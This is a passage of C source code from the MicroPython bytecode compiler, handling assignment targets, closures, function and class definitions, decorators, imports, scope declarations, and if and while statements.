"multiple *x in assignment"); return; } } } if (have_star_index == (uint)-1) { EMIT_ARG(unpack_sequence, num_head + num_tail); } if (num_head != 0) { if (0 == have_star_index) { c_assign(comp, ((mp_parse_node_struct_t*)node_head)->nodes[0], ASSIGN_STORE); } else { c_assign(comp, node_head, ASSIGN_STORE); } } for (uint i = 0; i < num_tail; i++) { if (num_head + i == have_star_index) { c_assign(comp, ((mp_parse_node_struct_t*)nodes_tail[i])->nodes[0], ASSIGN_STORE); } else { c_assign(comp, nodes_tail[i], ASSIGN_STORE); } } } // assigns top of stack to pn STATIC void c_assign(compiler_t *comp, mp_parse_node_t pn, assign_kind_t assign_kind) { assert(!MP_PARSE_NODE_IS_NULL(pn)); if (MP_PARSE_NODE_IS_LEAF(pn)) { if (MP_PARSE_NODE_IS_ID(pn)) { qstr arg = MP_PARSE_NODE_LEAF_ARG(pn); switch (assign_kind) { case ASSIGN_STORE: case ASSIGN_AUG_STORE: compile_store_id(comp, arg); break; case ASSIGN_AUG_LOAD: default: compile_load_id(comp, arg); break; } } else { goto cannot_assign; } } else { // pn must be a struct mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; switch (MP_PARSE_NODE_STRUCT_KIND(pns)) { case PN_atom_expr_normal: // lhs is an index or attribute c_assign_atom_expr(comp, pns, assign_kind); break; case PN_testlist_star_expr: case PN_exprlist: // lhs is a tuple if (assign_kind != ASSIGN_STORE) { goto cannot_assign; } c_assign_tuple(comp, MP_PARSE_NODE_NULL, MP_PARSE_NODE_STRUCT_NUM_NODES(pns), pns->nodes); break; case PN_atom_paren: // lhs is something in parenthesis if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // empty tuple goto cannot_assign; } else { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp)); if (assign_kind != ASSIGN_STORE) { goto cannot_assign; } pns = (mp_parse_node_struct_t*)pns->nodes[0]; goto testlist_comp; } break; case PN_atom_bracket: // lhs is something in brackets if (assign_kind != ASSIGN_STORE) { goto cannot_assign; } if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // empty list, assignment allowed c_assign_tuple(comp, MP_PARSE_NODE_NULL, 0, NULL); } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_testlist_comp)) { pns = (mp_parse_node_struct_t*)pns->nodes[0]; goto testlist_comp; } else { // brackets around 1 item c_assign_tuple(comp, pns->nodes[0], 0, NULL); } break; default: goto cannot_assign; } return; testlist_comp: // lhs is a sequence if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) { mp_parse_node_struct_t *pns2 = (mp_parse_node_struct_t*)pns->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_testlist_comp_3b) { // sequence of one item, with trailing comma assert(MP_PARSE_NODE_IS_NULL(pns2->nodes[0])); c_assign_tuple(comp, pns->nodes[0], 0, NULL); } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_testlist_comp_3c) { // sequence of many items uint n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns2); c_assign_tuple(comp, pns->nodes[0], n, pns2->nodes); } else if (MP_PARSE_NODE_STRUCT_KIND(pns2) == PN_comp_for) { goto cannot_assign; } else { // sequence with 2 items goto sequence_with_2_items; } } else { // sequence with 2 items sequence_with_2_items: c_assign_tuple(comp, MP_PARSE_NODE_NULL, 2, pns->nodes); } return; } return; cannot_assign: compile_syntax_error(comp, pn, "can't assign to expression"); } // stuff for lambda and comprehensions and generators: // if n_pos_defaults > 0 then there is a tuple on the stack with the positional defaults // if n_kw_defaults > 0 then there is a dictionary on the stack with the keyword defaults // if both exist, the tuple is above the dictionary (ie the first pop gets the tuple) STATIC void close_over_variables_etc(compiler_t *comp, scope_t *this_scope, int n_pos_defaults, int n_kw_defaults) { assert(n_pos_defaults >= 0); assert(n_kw_defaults >= 0); // set flags if (n_kw_defaults > 0) { this_scope->scope_flags |= MP_SCOPE_FLAG_DEFKWARGS; } this_scope->num_def_pos_args = n_pos_defaults; // make closed over variables, if any // ensure they are closed over in the order defined in the outer scope (mainly to agree with CPython) int nfree = 0; if (comp->scope_cur->kind != SCOPE_MODULE) { for (int i = 0; i < comp->scope_cur->id_info_len; i++) { id_info_t *id = &comp->scope_cur->id_info[i]; if (id->kind == ID_INFO_KIND_CELL || id->kind == ID_INFO_KIND_FREE) { for (int j = 0; j < this_scope->id_info_len; j++) { id_info_t *id2 = &this_scope->id_info[j]; if (id2->kind == ID_INFO_KIND_FREE && id->qst == id2->qst) { // in MicroPython we load closures using LOAD_FAST EMIT_LOAD_FAST(id->qst, id->local_num); nfree += 1; } } } } } // make the function/closure if (nfree == 0) { EMIT_ARG(make_function, this_scope, n_pos_defaults, n_kw_defaults); } else { EMIT_ARG(make_closure, this_scope, nfree, n_pos_defaults, n_kw_defaults); } } STATIC void compile_funcdef_lambdef_param(compiler_t *comp, mp_parse_node_t pn) { // For efficiency of the code below we extract the parse-node kind here int pn_kind; if (MP_PARSE_NODE_IS_ID(pn)) { pn_kind = -1; } else { assert(MP_PARSE_NODE_IS_STRUCT(pn)); pn_kind = MP_PARSE_NODE_STRUCT_KIND((mp_parse_node_struct_t*)pn); } if (pn_kind == PN_typedargslist_star || pn_kind == PN_varargslist_star) { comp->have_star = true; /* don't need to distinguish bare from named star mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // bare star } else { // named star } */ } else if (pn_kind == PN_typedargslist_dbl_star || pn_kind == PN_varargslist_dbl_star) { // named double star // TODO do we need to do anything with this? } else { mp_parse_node_t pn_id; mp_parse_node_t pn_equal; if (pn_kind == -1) { // this parameter is just an id pn_id = pn; pn_equal = MP_PARSE_NODE_NULL; } else if (pn_kind == PN_typedargslist_name) { // this parameter has a colon and/or equal specifier mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; pn_id = pns->nodes[0]; //pn_colon = pns->nodes[1]; // unused pn_equal = pns->nodes[2]; } else { assert(pn_kind == PN_varargslist_name); // should be // this parameter has an equal specifier mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; pn_id = pns->nodes[0]; pn_equal = pns->nodes[1]; } if (MP_PARSE_NODE_IS_NULL(pn_equal)) { // this parameter does not have a default value // check for non-default parameters given after default parameters (allowed by parser, but not syntactically valid) if (!comp->have_star && comp->num_default_params != 0) { compile_syntax_error(comp, pn, "non-default argument follows default argument"); return; } } else { // this parameter has a default value // in CPython, None (and True, False?) as default parameters are loaded with LOAD_NAME; don't understandy why if (comp->have_star) { comp->num_dict_params += 1; // in MicroPython we put the default dict parameters into a dictionary using the bytecode if (comp->num_dict_params == 1) { // in MicroPython we put the default positional parameters into a tuple using the bytecode // we need to do this here before we start building the map for the default keywords if (comp->num_default_params > 0) { EMIT_ARG(build_tuple, comp->num_default_params); } else { EMIT(load_null); // sentinel indicating empty default positional args } // first default dict param, so make the map EMIT_ARG(build_map, 0); } // compile value then key, then store it to the dict compile_node(comp, pn_equal); EMIT_ARG(load_const_str, MP_PARSE_NODE_LEAF_ARG(pn_id)); EMIT(store_map); } else { comp->num_default_params += 1; compile_node(comp, pn_equal); } } } } STATIC void compile_funcdef_lambdef(compiler_t *comp, scope_t *scope, mp_parse_node_t pn_params, pn_kind_t pn_list_kind) { // When we call compile_funcdef_lambdef_param below it can compile an arbitrary // expression for default arguments, which may contain a lambda. The lambda will // call here in a nested way, so we must save and restore the relevant state. bool orig_have_star = comp->have_star; uint16_t orig_num_dict_params = comp->num_dict_params; uint16_t orig_num_default_params = comp->num_default_params; // compile default parameters comp->have_star = false; comp->num_dict_params = 0; comp->num_default_params = 0; apply_to_single_or_list(comp, pn_params, pn_list_kind, compile_funcdef_lambdef_param); if (comp->compile_error != MP_OBJ_NULL) { return; } // in MicroPython we put the default positional parameters into a tuple using the bytecode // the default keywords args may have already made the tuple; if not, do it now if (comp->num_default_params > 0 && comp->num_dict_params == 0) { EMIT_ARG(build_tuple, comp->num_default_params); EMIT(load_null); // sentinel indicating empty default keyword args } // make the function close_over_variables_etc(comp, scope, comp->num_default_params, comp->num_dict_params); // restore state comp->have_star = orig_have_star; comp->num_dict_params = orig_num_dict_params; comp->num_default_params = orig_num_default_params; } // leaves function object on stack // returns function name STATIC qstr compile_funcdef_helper(compiler_t *comp, mp_parse_node_struct_t *pns, uint emit_options) { if (comp->pass == MP_PASS_SCOPE) { // create a new scope for this function scope_t *s = scope_new_and_link(comp, SCOPE_FUNCTION, (mp_parse_node_t)pns, emit_options); // store the function scope so the compiling function can use it at each pass pns->nodes[4] = (mp_parse_node_t)s; } // get the scope for this function scope_t *fscope = (scope_t*)pns->nodes[4]; // compile the function definition compile_funcdef_lambdef(comp, fscope, pns->nodes[1], PN_typedargslist); // return its name (the 'f' in "def f(...):") return fscope->simple_name; } // leaves class object on stack // returns class name STATIC qstr compile_classdef_helper(compiler_t *comp, mp_parse_node_struct_t *pns, uint emit_options) { if (comp->pass == MP_PASS_SCOPE) { // create a new scope for this class scope_t *s = scope_new_and_link(comp, SCOPE_CLASS, (mp_parse_node_t)pns, emit_options); // store the class scope so the compiling function can use it at each pass pns->nodes[3] = (mp_parse_node_t)s; } EMIT(load_build_class); // scope for this class scope_t *cscope = (scope_t*)pns->nodes[3]; // compile the class close_over_variables_etc(comp, cscope, 0, 0); // get its name EMIT_ARG(load_const_str, cscope->simple_name); // nodes[1] has parent classes, if any // empty parenthesis (eg class C():) gets here as an empty PN_classdef_2 and needs special handling mp_parse_node_t parents = pns->nodes[1]; if (MP_PARSE_NODE_IS_STRUCT_KIND(parents, PN_classdef_2)) { parents = MP_PARSE_NODE_NULL; } compile_trailer_paren_helper(comp, parents, false, 2); // return its name (the 'C' in class C(...):") return cscope->simple_name; } // returns true if it was a built-in decorator (even if the built-in had an error) STATIC bool compile_built_in_decorator(compiler_t *comp, int name_len, mp_parse_node_t *name_nodes, uint *emit_options) { if (MP_PARSE_NODE_LEAF_ARG(name_nodes[0]) != MP_QSTR_micropython) { return false; } if (name_len != 2) { compile_syntax_error(comp, name_nodes[0], "invalid micropython decorator"); return true; } qstr attr = MP_PARSE_NODE_LEAF_ARG(name_nodes[1]); if (attr == MP_QSTR_bytecode) { *emit_options = MP_EMIT_OPT_BYTECODE; #if MICROPY_EMIT_NATIVE } else if (attr == MP_QSTR_native) { *emit_options = MP_EMIT_OPT_NATIVE_PYTHON; } else if (attr == MP_QSTR_viper) { *emit_options = MP_EMIT_OPT_VIPER; #endif #if MICROPY_EMIT_INLINE_ASM } else if (attr == ASM_DECORATOR_QSTR) { *emit_options = MP_EMIT_OPT_ASM; #endif } else { compile_syntax_error(comp, name_nodes[1], "invalid micropython decorator"); } return true; } STATIC void compile_decorated(compiler_t *comp, mp_parse_node_struct_t *pns) { // get the list of decorators mp_parse_node_t *nodes; int n = mp_parse_node_extract_list(&pns->nodes[0], PN_decorators, &nodes); // inherit emit options for this function/class definition uint emit_options = comp->scope_cur->emit_options; // compile each decorator int num_built_in_decorators = 0; for (int i = 0; i < n; i++) { assert(MP_PARSE_NODE_IS_STRUCT_KIND(nodes[i], PN_decorator)); // should be mp_parse_node_struct_t *pns_decorator = (mp_parse_node_struct_t*)nodes[i]; // nodes[0] contains the decorator function, which is a dotted name mp_parse_node_t *name_nodes; int name_len = mp_parse_node_extract_list(&pns_decorator->nodes[0], PN_dotted_name, &name_nodes); // check for built-in decorators if (compile_built_in_decorator(comp, name_len, name_nodes, &emit_options)) { // this was a built-in num_built_in_decorators += 1; } else { // not a built-in, compile normally // compile the decorator function compile_node(comp, name_nodes[0]); for (int j = 1; j < name_len; j++) { assert(MP_PARSE_NODE_IS_ID(name_nodes[j])); // should be EMIT_ARG(load_attr, MP_PARSE_NODE_LEAF_ARG(name_nodes[j])); } // nodes[1] contains arguments to the decorator function, if any if (!MP_PARSE_NODE_IS_NULL(pns_decorator->nodes[1])) { // call the decorator function with the arguments in nodes[1] compile_node(comp, pns_decorator->nodes[1]); } } } // compile the body (funcdef, async funcdef or classdef) and get its name mp_parse_node_struct_t *pns_body = (mp_parse_node_struct_t*)pns->nodes[1]; qstr body_name = 0; if (MP_PARSE_NODE_STRUCT_KIND(pns_body) == PN_funcdef) { body_name = compile_funcdef_helper(comp, pns_body, emit_options); #if MICROPY_PY_ASYNC_AWAIT } else if (MP_PARSE_NODE_STRUCT_KIND(pns_body) == PN_async_funcdef) { assert(MP_PARSE_NODE_IS_STRUCT(pns_body->nodes[0])); mp_parse_node_struct_t *pns0 = (mp_parse_node_struct_t*)pns_body->nodes[0]; body_name = compile_funcdef_helper(comp, pns0, emit_options); scope_t *fscope = (scope_t*)pns0->nodes[4]; fscope->scope_flags |= MP_SCOPE_FLAG_GENERATOR; #endif } else { assert(MP_PARSE_NODE_STRUCT_KIND(pns_body) == PN_classdef); // should be body_name = compile_classdef_helper(comp, pns_body, emit_options); } // call each decorator for (int i = 0; i < n - num_built_in_decorators; i++) { EMIT_ARG(call_function, 1, 0, 0); } // store func/class object into name compile_store_id(comp, body_name); } STATIC void compile_funcdef(compiler_t *comp, mp_parse_node_struct_t *pns) { qstr fname = compile_funcdef_helper(comp, pns, comp->scope_cur->emit_options); // store function object into function name compile_store_id(comp, fname); } STATIC void c_del_stmt(compiler_t *comp, mp_parse_node_t pn) { if (MP_PARSE_NODE_IS_ID(pn)) { compile_delete_id(comp, MP_PARSE_NODE_LEAF_ARG(pn)); } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_atom_expr_normal)) { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; compile_node(comp, pns->nodes[0]); // base of the atom_expr_normal node if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) { mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_atom_expr_trailers) { int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns1); for (int i = 0; i < n - 1; i++) { compile_node(comp, pns1->nodes[i]); } assert(MP_PARSE_NODE_IS_STRUCT(pns1->nodes[n - 1])); pns1 = (mp_parse_node_struct_t*)pns1->nodes[n - 1]; } if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_trailer_bracket) { compile_node(comp, pns1->nodes[0]); EMIT(delete_subscr); } else if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_trailer_period) { assert(MP_PARSE_NODE_IS_ID(pns1->nodes[0])); EMIT_ARG(delete_attr, MP_PARSE_NODE_LEAF_ARG(pns1->nodes[0])); } else { goto cannot_delete; } } else { goto cannot_delete; } } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_atom_paren)) { pn = ((mp_parse_node_struct_t*)pn)->nodes[0]; if (MP_PARSE_NODE_IS_NULL(pn)) { goto cannot_delete; } else { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_testlist_comp)); mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; // TODO perhaps factorise testlist_comp code with other uses of PN_testlist_comp if (MP_PARSE_NODE_IS_STRUCT(pns->nodes[1])) { mp_parse_node_struct_t *pns1 = (mp_parse_node_struct_t*)pns->nodes[1]; if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_testlist_comp_3b) { // sequence of one item, with trailing comma assert(MP_PARSE_NODE_IS_NULL(pns1->nodes[0])); c_del_stmt(comp, pns->nodes[0]); } else if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_testlist_comp_3c) { // sequence of many items int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns1); c_del_stmt(comp, pns->nodes[0]); for (int i = 0; i < n; i++) { c_del_stmt(comp, pns1->nodes[i]); } } else if (MP_PARSE_NODE_STRUCT_KIND(pns1) == PN_comp_for) { goto cannot_delete; } else { // sequence with 2 items goto sequence_with_2_items; } } else { // sequence with 2 items sequence_with_2_items: c_del_stmt(comp, pns->nodes[0]); c_del_stmt(comp, pns->nodes[1]); } } } else { // some arbitrary statement that we can't delete (eg del 1) goto cannot_delete; } return; cannot_delete: compile_syntax_error(comp, (mp_parse_node_t)pn, "can't delete expression"); } STATIC void compile_del_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { apply_to_single_or_list(comp, pns->nodes[0], PN_exprlist, c_del_stmt); } STATIC void compile_break_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { if (comp->break_label == INVALID_LABEL) { compile_syntax_error(comp, (mp_parse_node_t)pns, "'break' outside loop"); } assert(comp->cur_except_level >= comp->break_continue_except_level); EMIT_ARG(break_loop, comp->break_label, comp->cur_except_level - comp->break_continue_except_level); } STATIC void compile_continue_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { if (comp->continue_label == INVALID_LABEL) { compile_syntax_error(comp, (mp_parse_node_t)pns, "'continue' outside loop"); } assert(comp->cur_except_level >= comp->break_continue_except_level); EMIT_ARG(continue_loop, comp->continue_label, comp->cur_except_level - comp->break_continue_except_level); } STATIC void compile_return_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { if (comp->scope_cur->kind != SCOPE_FUNCTION) { compile_syntax_error(comp, (mp_parse_node_t)pns, "'return' outside function"); return; } if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // no argument to 'return', so return None EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); } else if (MICROPY_COMP_RETURN_IF_EXPR && MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_test_if_expr)) { // special case when returning an if-expression; to match CPython optimisation mp_parse_node_struct_t *pns_test_if_expr = (mp_parse_node_struct_t*)pns->nodes[0]; mp_parse_node_struct_t *pns_test_if_else = (mp_parse_node_struct_t*)pns_test_if_expr->nodes[1]; uint l_fail = comp_next_label(comp); c_if_cond(comp, pns_test_if_else->nodes[0], false, l_fail); // condition compile_node(comp, pns_test_if_expr->nodes[0]); // success value EMIT(return_value); EMIT_ARG(label_assign, l_fail); compile_node(comp, pns_test_if_else->nodes[1]); // failure value } else { compile_node(comp, pns->nodes[0]); } EMIT(return_value); } STATIC void compile_yield_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { compile_node(comp, pns->nodes[0]); EMIT(pop_top); } STATIC void compile_raise_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { if (MP_PARSE_NODE_IS_NULL(pns->nodes[0])) { // raise EMIT_ARG(raise_varargs, 0); } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pns->nodes[0], PN_raise_stmt_arg)) { // raise x from y pns = (mp_parse_node_struct_t*)pns->nodes[0]; compile_node(comp, pns->nodes[0]); compile_node(comp, pns->nodes[1]); EMIT_ARG(raise_varargs, 2); } else { // raise x compile_node(comp, pns->nodes[0]); EMIT_ARG(raise_varargs, 1); } } // q_base holds the base of the name // eg a -> q_base=a // a.b.c -> q_base=a STATIC void do_import_name(compiler_t *comp, mp_parse_node_t pn, qstr *q_base) { bool is_as = false; if (MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_dotted_as_name)) { mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; // a name of the form x as y; unwrap it *q_base = MP_PARSE_NODE_LEAF_ARG(pns->nodes[1]); pn = pns->nodes[0]; is_as = true; } if (MP_PARSE_NODE_IS_NULL(pn)) { // empty name (eg, from . import x) *q_base = MP_QSTR_; EMIT_ARG(import_name, MP_QSTR_); // import the empty string } else if (MP_PARSE_NODE_IS_ID(pn)) { // just a simple name qstr q_full = MP_PARSE_NODE_LEAF_ARG(pn); if (!is_as) { *q_base = q_full; } EMIT_ARG(import_name, q_full); } else { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn, PN_dotted_name)); // should be mp_parse_node_struct_t *pns = (mp_parse_node_struct_t*)pn; { // a name of the form a.b.c if (!is_as) { *q_base = MP_PARSE_NODE_LEAF_ARG(pns->nodes[0]); } int n = MP_PARSE_NODE_STRUCT_NUM_NODES(pns); int len = n - 1; for (int i = 0; i < n; i++) { len += qstr_len(MP_PARSE_NODE_LEAF_ARG(pns->nodes[i])); } byte *q_ptr; byte *str_dest = qstr_build_start(len, &q_ptr); for (int i = 0; i < n; i++) { if (i > 0) { *str_dest++ = '.'; } size_t str_src_len; const byte *str_src = qstr_data(MP_PARSE_NODE_LEAF_ARG(pns->nodes[i]), &str_src_len); memcpy(str_dest, str_src, str_src_len); str_dest += str_src_len; } qstr q_full = qstr_build_end(q_ptr); EMIT_ARG(import_name, q_full); if (is_as) { for (int i = 1; i < n; i++) { EMIT_ARG(load_attr, MP_PARSE_NODE_LEAF_ARG(pns->nodes[i])); } } } } } STATIC void compile_dotted_as_name(compiler_t *comp, mp_parse_node_t pn) { EMIT_ARG(load_const_small_int, 0); // level 0 import EMIT_ARG(load_const_tok, MP_TOKEN_KW_NONE); // not importing from anything qstr q_base; do_import_name(comp, pn, &q_base); compile_store_id(comp, q_base); } STATIC void compile_import_name(compiler_t *comp, mp_parse_node_struct_t *pns) { apply_to_single_or_list(comp, pns->nodes[0], PN_dotted_as_names, compile_dotted_as_name); } STATIC void compile_import_from(compiler_t *comp, mp_parse_node_struct_t *pns) { mp_parse_node_t pn_import_source = pns->nodes[0]; // extract the preceding .'s (if any) for a relative import, to compute the import level uint import_level = 0; do { mp_parse_node_t pn_rel; if (MP_PARSE_NODE_IS_TOKEN(pn_import_source) || MP_PARSE_NODE_IS_STRUCT_KIND(pn_import_source, PN_one_or_more_period_or_ellipsis)) { // This covers relative imports with dots only like "from .. import" pn_rel = pn_import_source; pn_import_source = MP_PARSE_NODE_NULL; } else if (MP_PARSE_NODE_IS_STRUCT_KIND(pn_import_source, PN_import_from_2b)) { // This covers relative imports starting with dot(s) like "from .foo import" mp_parse_node_struct_t *pns_2b = (mp_parse_node_struct_t*)pn_import_source; pn_rel = pns_2b->nodes[0]; pn_import_source = pns_2b->nodes[1]; assert(!MP_PARSE_NODE_IS_NULL(pn_import_source)); // should not be } else { // Not a relative import break; } // get the list of . and/or ...'s mp_parse_node_t *nodes; int n = mp_parse_node_extract_list(&pn_rel, PN_one_or_more_period_or_ellipsis, &nodes); // count the total number of .'s for (int i = 0; i < n; i++) { if (MP_PARSE_NODE_IS_TOKEN_KIND(nodes[i], MP_TOKEN_DEL_PERIOD)) { import_level++; } else { // should be an MP_TOKEN_ELLIPSIS import_level += 3; } } } while (0); if (MP_PARSE_NODE_IS_TOKEN_KIND(pns->nodes[1], MP_TOKEN_OP_STAR)) { EMIT_ARG(load_const_small_int, import_level); // build the "fromlist" tuple EMIT_ARG(load_const_str, MP_QSTR__star_); EMIT_ARG(build_tuple, 1); // do the import qstr dummy_q; do_import_name(comp, pn_import_source, &dummy_q); EMIT(import_star); } else { EMIT_ARG(load_const_small_int, import_level); // build the "fromlist" tuple mp_parse_node_t *pn_nodes; int n = mp_parse_node_extract_list(&pns->nodes[1], PN_import_as_names, &pn_nodes); for (int i = 0; i < n; i++) { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn_nodes[i], PN_import_as_name)); mp_parse_node_struct_t *pns3 = (mp_parse_node_struct_t*)pn_nodes[i]; qstr id2 = MP_PARSE_NODE_LEAF_ARG(pns3->nodes[0]); // should be id EMIT_ARG(load_const_str, id2); } EMIT_ARG(build_tuple, n); // do the import qstr dummy_q; do_import_name(comp, pn_import_source, &dummy_q); for (int i = 0; i < n; i++) { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn_nodes[i], PN_import_as_name)); mp_parse_node_struct_t *pns3 = (mp_parse_node_struct_t*)pn_nodes[i]; qstr id2 = MP_PARSE_NODE_LEAF_ARG(pns3->nodes[0]); // should be id EMIT_ARG(import_from, id2); if (MP_PARSE_NODE_IS_NULL(pns3->nodes[1])) { compile_store_id(comp, id2); } else { compile_store_id(comp, MP_PARSE_NODE_LEAF_ARG(pns3->nodes[1])); } } EMIT(pop_top); } } STATIC void compile_declare_global(compiler_t *comp, mp_parse_node_t pn, qstr qst) { bool added; id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qst, &added); if (!added && id_info->kind != ID_INFO_KIND_GLOBAL_EXPLICIT) { compile_syntax_error(comp, pn, "identifier redefined as global"); return; } id_info->kind = ID_INFO_KIND_GLOBAL_EXPLICIT; // if the id exists in the global scope, set its kind to EXPLICIT_GLOBAL id_info = scope_find_global(comp->scope_cur, qst); if (id_info != NULL) { id_info->kind = ID_INFO_KIND_GLOBAL_EXPLICIT; } } STATIC void compile_global_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { if (comp->pass == MP_PASS_SCOPE) { mp_parse_node_t *nodes; int n = mp_parse_node_extract_list(&pns->nodes[0], PN_name_list, &nodes); for (int i = 0; i < n; i++) { compile_declare_global(comp, (mp_parse_node_t)pns, MP_PARSE_NODE_LEAF_ARG(nodes[i])); } } } STATIC void compile_declare_nonlocal(compiler_t *comp, mp_parse_node_t pn, qstr qst) { bool added; id_info_t *id_info = scope_find_or_add_id(comp->scope_cur, qst, &added); if (added) { scope_find_local_and_close_over(comp->scope_cur, id_info, qst); if (id_info->kind == ID_INFO_KIND_GLOBAL_IMPLICIT) { compile_syntax_error(comp, pn, "no binding for nonlocal found"); } } else if (id_info->kind != ID_INFO_KIND_FREE) { compile_syntax_error(comp, pn, "identifier redefined as nonlocal"); } } STATIC void compile_nonlocal_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { if (comp->pass == MP_PASS_SCOPE) { if (comp->scope_cur->kind == SCOPE_MODULE) { compile_syntax_error(comp, (mp_parse_node_t)pns, "can't declare nonlocal in outer code"); return; } mp_parse_node_t *nodes; int n = mp_parse_node_extract_list(&pns->nodes[0], PN_name_list, &nodes); for (int i = 0; i < n; i++) { compile_declare_nonlocal(comp, (mp_parse_node_t)pns, MP_PARSE_NODE_LEAF_ARG(nodes[i])); } } } STATIC void compile_assert_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { // with optimisations enabled we don't compile assertions if (MP_STATE_VM(mp_optimise_value) != 0) { return; } uint l_end = comp_next_label(comp); c_if_cond(comp, pns->nodes[0], true, l_end); EMIT_LOAD_GLOBAL(MP_QSTR_AssertionError); // we load_global instead of load_id, to be consistent with CPython if (!MP_PARSE_NODE_IS_NULL(pns->nodes[1])) { // assertion message compile_node(comp, pns->nodes[1]); EMIT_ARG(call_function, 1, 0, 0); } EMIT_ARG(raise_varargs, 1); EMIT_ARG(label_assign, l_end); } STATIC void compile_if_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { uint l_end = comp_next_label(comp); // optimisation: don't emit anything when "if False" if (!mp_parse_node_is_const_false(pns->nodes[0])) { uint l_fail = comp_next_label(comp); c_if_cond(comp, pns->nodes[0], false, l_fail); // if condition compile_node(comp, pns->nodes[1]); // if block // optimisation: skip everything else when "if True" if (mp_parse_node_is_const_true(pns->nodes[0])) { goto done; } if ( // optimisation: don't jump over non-existent elif/else blocks !(MP_PARSE_NODE_IS_NULL(pns->nodes[2]) && MP_PARSE_NODE_IS_NULL(pns->nodes[3])) // optimisation: don't jump if last instruction was return && !EMIT(last_emit_was_return_value) ) { // jump over elif/else blocks EMIT_ARG(jump, l_end); } EMIT_ARG(label_assign, l_fail); } // compile elif blocks (if any) mp_parse_node_t *pn_elif; int n_elif = mp_parse_node_extract_list(&pns->nodes[2], PN_if_stmt_elif_list, &pn_elif); for (int i = 0; i < n_elif; i++) { assert(MP_PARSE_NODE_IS_STRUCT_KIND(pn_elif[i], PN_if_stmt_elif)); // should be mp_parse_node_struct_t *pns_elif = (mp_parse_node_struct_t*)pn_elif[i]; // optimisation: don't emit anything when "if False" if (!mp_parse_node_is_const_false(pns_elif->nodes[0])) { uint l_fail = comp_next_label(comp); c_if_cond(comp, pns_elif->nodes[0], false, l_fail); // elif condition compile_node(comp, pns_elif->nodes[1]); // elif block // optimisation: skip everything else when "elif True" if (mp_parse_node_is_const_true(pns_elif->nodes[0])) { goto done; } // optimisation: don't jump if last instruction was return if (!EMIT(last_emit_was_return_value)) { EMIT_ARG(jump, l_end); } EMIT_ARG(label_assign, l_fail); } } // compile else block compile_node(comp, pns->nodes[3]); // can be null done: EMIT_ARG(label_assign, l_end); } #define START_BREAK_CONTINUE_BLOCK \ uint16_t old_break_label = comp->break_label; \ uint16_t old_continue_label = comp->continue_label; \ uint16_t old_break_continue_except_level = comp->break_continue_except_level; \ uint break_label = comp_next_label(comp); \ uint continue_label = comp_next_label(comp); \ comp->break_label = break_label; \ comp->continue_label = continue_label; \ comp->break_continue_except_level = comp->cur_except_level; #define END_BREAK_CONTINUE_BLOCK \ comp->break_label = old_break_label; \ comp->continue_label = old_continue_label; \ comp->break_continue_except_level = old_break_continue_except_level; STATIC void compile_while_stmt(compiler_t *comp, mp_parse_node_struct_t *pns) { START_BREAK_CONTINUE_BLOCK if (!mp_parse_node_is_const_false(pns->nodes[0])) { // optimisation: don't emit anything for "while False" uint top_label = comp_next_label(comp); if (!mp_parse_node_is_const_true(pns->nodes[0])) { // optimisation: don't jump to cond for "while True" EMIT_ARG(jump, continue_label); } EMIT_ARG(label_assign, top_label); compile_node(comp, pns->nodes[1]); // body EMIT_ARG(label_assign, continue_label); c_if_cond(comp, pns->nodes[0], true, top_label); // condition } // break/continue apply to outer loop (if any) in the else block END_BREAK_CONTINUE_BLOCK compile_node(comp, pns->nodes[2]); // else EMIT_ARG(label_assign, break_label); } // This function compiles an optimised for-loop of the form: // for in range(, , ): // // else: // // must be an identifier and must be a small-int. // // Semantics of for-loop require: // - final failing value should not be stored in the loop variable // - if the loop never runs, the loop variable should never be assigned // - assignments to , or in the body do not alter the loop // ( is a constant for us, so no need to worry about it changing) // // If is a small-int, then the stack during the for-loop contains just // the current value of . Otherwise, the stack contains then the // current value of . STATIC void 